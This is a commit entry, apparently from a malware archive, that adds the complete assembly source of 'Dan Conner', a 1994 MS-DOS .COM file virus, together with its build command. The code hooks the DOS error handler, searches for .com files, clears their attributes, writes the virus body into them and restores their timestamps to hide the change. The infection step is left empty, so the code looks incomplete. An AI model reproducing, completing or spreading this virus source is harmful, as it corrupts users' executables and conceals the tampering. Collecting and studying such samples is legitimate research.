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vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
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MSDOS/D-Index/Virus.MSDOS.Unknown.dan.asm
+121
View File
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; Dan Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M dan.asm
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
start:
db 0e9h,0,0 ; Jump to the next command
virus:
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [oldint24],bx ; Save it
mov word ptr [oldint24+2],es
mov ah,25h ; Set new int 24 handler
mov dx,offset int24 ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov dx,offset comfilespec
call findfirst
mov ah,9 ; Display string
mov dx,offset virusname
int 21h
mov ax,2524h ; Restore int 24 handler
mov dx,offset oldint24 ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
int 20h ; quit program
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
quitinfect:
ret
FinishInfection:
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write virus to file
mov cx,eof-virus ; Size of virus
mov dx,100
int 21h
closefile:
mov ax,5701h ; Set files date/time back
push bx
mov cx,word ptr [bx]+16h ; Get old time from dta
mov dx,word ptr [bx]+18h ; Get old date
pop bx
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov bx,80h
mov cl,byte ptr [bx]+15h ; Get old Attributes
call attributes
retn
open:
mov ah,3dh ; open file
mov dx,80h+30
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
mov dx,80h+30
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Dan Conner - Anything You Say Dear...',10,13
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
db 'Hey: I LOVE ROSEANNE!','$'
comfilespec db '*.com',0 ; Holds type of file to look for
eof equ $ ; Marks the end of file
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start